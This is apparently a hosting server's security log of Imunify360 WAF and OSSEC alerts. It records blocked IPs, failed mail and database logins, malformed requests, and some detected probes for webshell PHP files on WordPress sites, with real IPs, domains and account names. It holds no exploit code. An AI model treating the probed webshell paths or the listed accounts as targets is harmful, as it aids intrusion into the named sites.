country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/wow.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.135
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/isotope.pkgd.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.142
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/css/swiper.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.136
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/smooth-scroll.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.151
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/jquery.count-to.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.132
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/revolution/css/layers.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.148
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/jquery.fitvids.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.147
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/jquery.stellar.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.134
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/skrollr.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.138
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/skill.bars.jquery.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.155
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/jquery.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.139
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/jquery.magnific-popup.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.130
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/css/responsive.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.134.80.99
country_id: 6252001
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/about.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.150
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/main.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.133
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/css/themify-icons.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.154
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/jquery.appear.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.144
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/imagesloaded.pkgd.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.93.203.251
country_id: 3469034
description:
Jan 16 15:52:30 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.93.203.251 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.129
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/swiper.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.156
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/modernizr.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.131
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/css/magnific-popup.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.132
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/fonts/fa-brands-400.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.233.254.8
country_id: 2921044
description:
Jan 16 15:53:32 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.233.254.8 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.152
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/fonts/fa-solid-900.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.110.178.216
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-foundation/RequestStack.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - jaya@ktlog.com.my [01/16/2026:07:55:45 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: jaya@ktlog.com.my


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.55.162
country_id: 953987
description:
Jan 16 15:55:50 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.55.162 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.55.162
country_id: 953987
description:
Jan 16 15:55:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.55.162 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.51.241
country_id: 953987
description:
Jan 16 15:59:51 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.51.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.173.177.133
country_id: 6252001
description:
Jan 16 15:59:55 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.173.177.133 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.173.177.133
country_id: 6252001
description:
2026-01-16 15:59:57 dovecot_login authenticator failed for H=(xyzf) [107.173.177.133]:58967: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.51.241
country_id: 953987
description:
Jan 16 15:59:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.51.241 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 69.244.48.42
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/door/16/199/1676847 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 16:03:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41095: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 49.229.135.96
country_id: 1605651
description:
2026-01-16 16:03:33 171743 [Warning] Aborted connection 171743 to db: 'unconnected' user: 'unauthenticated' host: '49.229.135.96' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.255.73.229
country_id: 1269750
description:
Jan 16 16:04:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.255.73.229 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.173
country_id: 3175395
description:
Jan 16 16:04:46 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.118.112.113
country_id: 6252001
description:
Jan 16 16:04:52 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.118.112.113 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.112.113
country_id: 6252001
description:
2026-01-16 16:04:54 dovecot_login authenticator failed for H=(xwvbof) [92.118.112.113]:54170: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.18
country_id: 3175395
description:
Jan 16 16:04:56 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.18 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.56
country_id: 6252001
description:
2026-01-16 16:05:57 171851 [Warning] Aborted connection 171851 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.56' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.173
country_id: 3175395
description:
Jan 16 16:05:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 16:05:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:46679: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.18
country_id: 3175395
description:
Jan 16 16:05:05 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.115
country_id: 2300660
description:
Jan 16 16:05:10 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.43.230.6
country_id: 798544
description:
Jan 16 16:05:19 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.43.230.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.52.242
country_id: 953987
description:
Jan 16 16:05:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.52.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.169.79.122
country_id: 6252001
description:
2026-01-16 16:06:26 dovecot_login authenticator failed for H=([127.0.0.1]) [76.169.79.122]:36498: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.104.244.210
country_id: 1814991
description:
2026-01-16 16:06:53 dovecot_login authenticator failed for H=(zfumz) [171.104.244.210]:62441: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.104.244.210
country_id: 1814991
description:
2026-01-16 16:07:01 dovecot_login authenticator failed for H=(gqoss) [171.104.244.210]:62441: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 16:08:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62201: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.204.215.126
country_id: 1814991
description:
2026-01-16 16:09:56 dovecot_login authenticator failed for H=([121.204.215.126]) [121.204.215.126]:50508: 535 Incorrect authentication data (set_id=accounting@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.92.76.210
country_id: 1694008
description:
Jan 16 16:09:05 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.92.76.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-01-16 16:09:07 dovecot_login authenticator failed for H=(119.92.76.210.static.pldt.net) [119.92.76.210]:60282: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.192.83.208
country_id: 3175395
description:
Jan 16 16:09:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.192.83.208 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.192.83.208
country_id: 3175395
description:
2026-01-16 16:09:18 dovecot_login authenticator failed for H=([2.192.83.208]) [2.192.83.208]:50070: 535 Incorrect authentication data (set_id=myloo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.204.215.126
country_id: 1814991
description:
Jan 16 16:09:54 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.204.215.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.141.249.241
country_id: 3469034
description:
Jan 16 16:11:31 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.141.249.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.6
country_id: 3175395
description:
Jan 16 16:11:11 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.6 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 171.22.183.83
country_id: 2750405
domain: imax.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x96_54) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/126.0.0.0 Safari/537.31||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.130
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/themify-font/themify-icons.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.236
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/css-hamburgers/hamburgers.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.242
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/mdi-font/css/material-design-iconic-font.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.203
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/font-awesome-5/css/fontawesome-all.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.212
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/fonts/poppins/poppins-v5-latin-300.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.204.44.123
country_id: 2300660
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/green.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.250
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/animate.css/animate.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.137
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/css/poppins-font.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.173
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/select2/select2.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.169
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/animsition/animsition.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.232
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/bootstrap-4.1/bootstrap.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.150
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/slick/slick.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.159
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/css/main.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.222
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/fonts/poppins/poppins-v5-latin-700.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.166
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/mdi-font/fonts/Material-Design-Iconic-Fontd1f1.woff2?v=2.2.0 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.5.21.121
country_id: 3865483
description:
Jan 16 16:17:09 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.5.21.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.65
country_id: 3175395
description:
Jan 16 16:17:32 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.49
country_id: 1269750
description:
Jan 16 16:18:52 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.49
country_id: 1269750
description:
Jan 16 16:18:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.28.170
country_id: 933860
description:
Jan 16 16:19:11 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.28.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.11.195.72
country_id: 3865483
description:
Jan 16 16:21:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.11.195.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.28.188
country_id: 933860
description:
Jan 16 16:21:09 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.28.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.194.96
country_id: 99237
description:
Jan 16 16:21:09 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.194.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.194
country_id: 953987
description:
Jan 16 16:23:21 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.194 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.157
country_id: 3469034
description:
Jan 16 16:24:08 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.39.13
country_id: 953987
description:
Jan 16 16:26:49 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.39.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.21.36
country_id: 2300660
description:
Jan 16 16:26:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.21.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.39.13
country_id: 953987
description:
Jan 16 16:26:56 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.39.13 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/demos/img/clientele.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.37.24
country_id: 3469034
description:
Jan 16 16:28:23 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.37.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.163.198.106
country_id: 3469034
description:
Jan 16 16:28:46 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.163.198.106 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - uie-invoicing@urban.my [01/16/2026:08:29:28 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: uie-invoicing@urban.my


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.163.198.106
country_id: 3469034
description:
Jan 16 16:29:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.163.198.106 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/news-n-events/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.71.236.61
country_id: 3469034
description:
Jan 16 16:32:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.71.236.61 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.184.227.144
country_id: 3865483
description:
Jan 16 16:32:35 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.184.227.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.211.67
country_id: 933860
description:
